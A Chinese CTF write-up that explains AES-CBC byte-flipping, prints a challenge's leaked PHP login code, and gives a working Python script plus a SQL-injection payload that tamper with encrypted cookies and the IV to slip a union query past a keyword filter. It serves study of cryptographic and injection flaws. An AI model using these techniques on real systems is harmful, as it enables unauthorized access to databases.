CBC-byte-flipping-attack

在做ctf题目的过程中,遇到了cbc字节翻转攻击的利用技巧,在深入学习之后,觉得应该记录下来,以免遗忘。

AES CBC模式的加密与解密原理

分组密码链接模式的特点在于:加密时,每一个明文分组(除了第一个明文分组)加密之前都需要和前一个密文分组进行异或处理之后,才可以进行加密处理;解密时,每一个密文分组经过解密处理之后,都需要和前一个密文分组进行异或处理,才可以得到对应的明文分组。

分组密码链接模式,顾名思义,加密和解密过程都是以分组进行的。每一个分组大小为128bits(16字节),如果明文的长度不是16字节的整数倍,需要对最后一个分组进行填充(padding),使得最后一个分组长度为16字节。

对于加密时的第一个明文分组,需要通过和IV(初始化向量)进行异或处理之后,才可以进行加密处理;解密时的第一个密文分组,解密之后,需要通过和IV进行异或处理,才可以得到第一个明文分组。

这里的IV为不可预测的,随机生成的16字节向量,它不需要保密,但是需要保证完整性。

CBC模式的加解密过程

  • 加密过程
  • 1.将明文的第一个分组与IV进行异或,送入加密模块进行加密,得到第一个密文分组。
  • 2.从第二个明文分组开始,将明文分组与前一个密文分组进行异或。
  • 3.将第2步得到的结果送入加密模块进行加密。
  • 4.将每一个密文分组拼接起来形成密文。

假设明文分组的下标从1开始

$ C_0 = IV $

$ C_i = E_k(P_i \oplus C_{i-1}) $


  • 解密过程
  • 1.将密文的第一个分组进行解密,得到的结果与IV进行异或处理,得到第一个明文分组。
  • 2.从第二个密文分组开始,先对每一个密文分组进行解密处理,到第3步。
  • 3.将第2步得到的结果与前一个密文分组进行异或处理,得到对应的明文分组。
  • 4.将每一个明文分组拼接在一块,便得到原先的明文。

$P_i = D_k(C_i) \oplus C_{i-1}$

$C_0 = IV$

从上面解密过程中,我们可以发现,解密明文分组的过程受前一个密文分组的影响,所以我们可以通过控制前一个密文分组的内容,进而控制解密明文的内容。

CBC翻转攻击的原理

从上面的分析我们可以看出来,CBC字节翻转攻击发生在解密的时候。

假设我们只考虑单字节的操作。

$P_i[0] = D_k(C_i)[0] \oplus C_{i-1}[0]$

0 = $P_i[0] \oplus D_k(C_i)[0] \oplus C_{i-1}[0]$

$P_{new} = P_i[0] \oplus D_k(C_i)[0] \oplus C_{i-1}[0] \oplus P_{new}$

这里$P_{new}$为我们想要的明文。

通过上面的操作,我们可以看到,如果我们让前一个密文分组对应的字节的值,修改为$C_{i-1}[0] \oplus P_i[0] \oplus P_{new}$,就可以达到修改明文的目的。通过这种方法,便可以绕过服务器的检测。

利用实例

接下来,举一个例子,来说明具体如何利用这种技巧。

首先将泄露的代码拷贝下来,进行审计。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
define("SECRET_KEY", '***********');
define("METHOD", "aes-128-cbc");
error_reporting(0);
include('conn.php');
function sqliCheck($str){
if(preg_match("/\\\|,|-|#|=|~|union|like|procedure/i",$str)){
return 1;
}
return 0;
}
function get_random_iv(){
$random_iv='';
for($i=0;$i<16;$i++){
$random_iv.=chr(rand(1,255));
}
return $random_iv;
}
function login($info){
$iv = get_random_iv();
$plain = serialize($info);
$cipher = openssl_encrypt($plain, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv);
setcookie("iv", base64_encode($iv));
setcookie("cipher", base64_encode($cipher));
}
function show_homepage(){
global $link;
if(isset($_COOKIE['cipher']) && isset($_COOKIE['iv'])){
$cipher = base64_decode($_COOKIE['cipher']);
$iv = base64_decode($_COOKIE["iv"]);
if($plain = openssl_decrypt($cipher, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv)){
$info = unserialize($plain) or die("<p>base64_decode('".base64_encode($plain)."') can't unserialize</p>");
$sql="select * from users limit ".$info['id'].",0";
$result=mysqli_query($link,$sql);

if(mysqli_num_rows($result)>0 or die(mysqli_error($link))){
$rows=mysqli_fetch_array($result);
echo '<h1><center>Hello!'.$rows['username'].'</center></h1>';
}
else{
echo '<h1><center>Hello!</center></h1>';
}
}else{
die("ERROR!");
}
}
}
if(isset($_POST['id'])){
$id = (string)$_POST['id'];
if(sqliCheck($id))
die("<h1 style='color:red'><center>sql inject detected!</center></h1>");
$info = array('id'=>$id);
login($info);
echo '<h1><center>Hello!</center></h1>';
}else{
if(isset($_COOKIE["iv"])&&isset($_COOKIE['cipher'])){
show_homepage();
}else{
echo '<body class="login-body" style="margin:0 auto">
<div id="wrapper" style="margin:0 auto;width:800px;">
<form name="login-form" class="login-form" action="" method="post">
<div class="header">
<h1>Login Form</h1>
<span>input id to login</span>
</div>
<div class="content">
<input name="id" type="text" class="input id" value="id" onfocus="this.value=\'\'" />
</div>
<div class="footer">
<p><input type="submit" name="submit" value="Login" class="button" /></p>
</div>
</form>
</div>
</body>';
}
}

通过对代码的分析,可以看出它的处理逻辑。

1.首先判断post提交的数据当中是否包含id值;如果包含,转到第2步;如果没有包含,转到第3步。

2.将id的值读取出来,并进行sql注入检测,在sqliCheck函数当中,对常见的特殊字符都进行了过滤。然后对id的值进行了aes-cbc加密处理,并将IV和加密后的内容cipher,作为cookie一并返回。

3.如果post提交的内容当中,不包含id,则将post当中的IV和cipher提取出来,在show_homepage函数当中进行操作。

仔细分析关键代码,发现有两个地方存在问题:

1.show_homepage函数对IV和cipher传过来的值并没有进行校验,是一个绕过的点。

2.sqliCheck函数的过滤,并不完善,可以通过%00截断后面的数据。来构造sql注入语句,select * from users limit 1。因为原先的sql语句limit的rows参数为0,所以无论id值为多少,都不会将username的值echo出来。

需要两步操作,来完成输出username的值。

1.post提交id的值为1;%00。

2.将返回的IV和cipher放在cookie域当中,并去掉id值。提交。

然而username里面放的值不是我们想要的。现在我们需要用到cbc字节翻转,来构造sql注入语句。

由于sqliCheck函数将‘=’,‘,’,‘union'全部过滤了,所以需要用1nion代替union,用join代替逗号,用regexp代替等号,然后使用cbc字节翻转将1换为u,得到union。

为了方便,写一个脚本,进行测试。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
import requests
import urllib.parse as pa
import base64

#两个字节序列进行异或操作
def bytes_xor(b1,b2):
temp = []
for x,y in zip(b1,b2):
temp.append(bytes([x^y]))
return b''.join(temp)

#第一次payload一个正常的数据,得到iv和cipher
payload = {'id':'12','submit':'Login'}
r = requests.post('http://ctf5.shiyanbar.com/web/jiandan/index.php',data=payload)
iv_old = r.cookies['iv']
cipher_old = base64.b64decode(pa.unquote(r.cookies['cipher']))

#对cipher进行cbc字节翻转,得到新的cipher
cipher_new = cipher_old[:4] + bytes([cipher_old[4] ^ ord('2') ^ ord('#')]) + cipher_old[5:]
cipher_new = pa.quote(base64.b64encode(cipher_new))

#将新的cipher和原先的iv作为cookie发送给服务器,得到一段乱码的明文。
cookies = dict(iv=iv_old,cipher=cipher_new)
r_new = requests.get('http://ctf5.shiyanbar.com/web/jiandan/index.php',cookies=cookies)

#将得到的明文进行base64解码,取出其中的前16字节,与原先的iv和第一个明文分组进行异或操作
iv_old = base64.b64decode(pa.unquote(iv_old))
plain_first_block = b'a:1:{s:2:"id";s:'
content = r_new.content.decode()
index1 = content.find("base64_decode") + 14
index2 = content.find('can') - 2
plain = content[index1:index2]
plain = base64.b64decode(plain)[:16]
temp = bytes_xor(iv_old,plain)
iv_new = pa.quote(base64.b64encode(bytes_xor(temp,plain_first_block)))

#将得到的新的iv和新的cipher,作为cookie发送给服务器,便可以绕过sql注入监测。
cookies = dict(iv=iv_new,cipher=cipher_new)
r_new_2 = requests.get('http://ctf5.shiyanbar.com/web/jiandan/index.php',cookies=cookies)

print(r_new_2.content.decode())

这里需要注意的是,当我们修改密文的第一个分组,来使得第二个明文分组更改为我们想要的结果,会破坏原先的第一个明文分组的内容,导致show_homepage()函数进行反序列化处理的时候发生异常,所以我们需要对IV进行处理,使得第一个明文分组恢复为原先的值。

通过sql注入测试,知道了数据库中有两个表:user和you_want。显然,you_want表当中包含我们需要的东西,进一步注入得到you_want表中只有一个字段value。

所以我们构造如下的payload:

'id':'0 2nion select * from((select 1)a join (select * from you_want)b join (select 3)c);'+chr(0)

结果如下:


参考链接:

CBC字节翻转攻击

CTF_WP-实验吧-简单的登录题

题目地址:

简单的登录题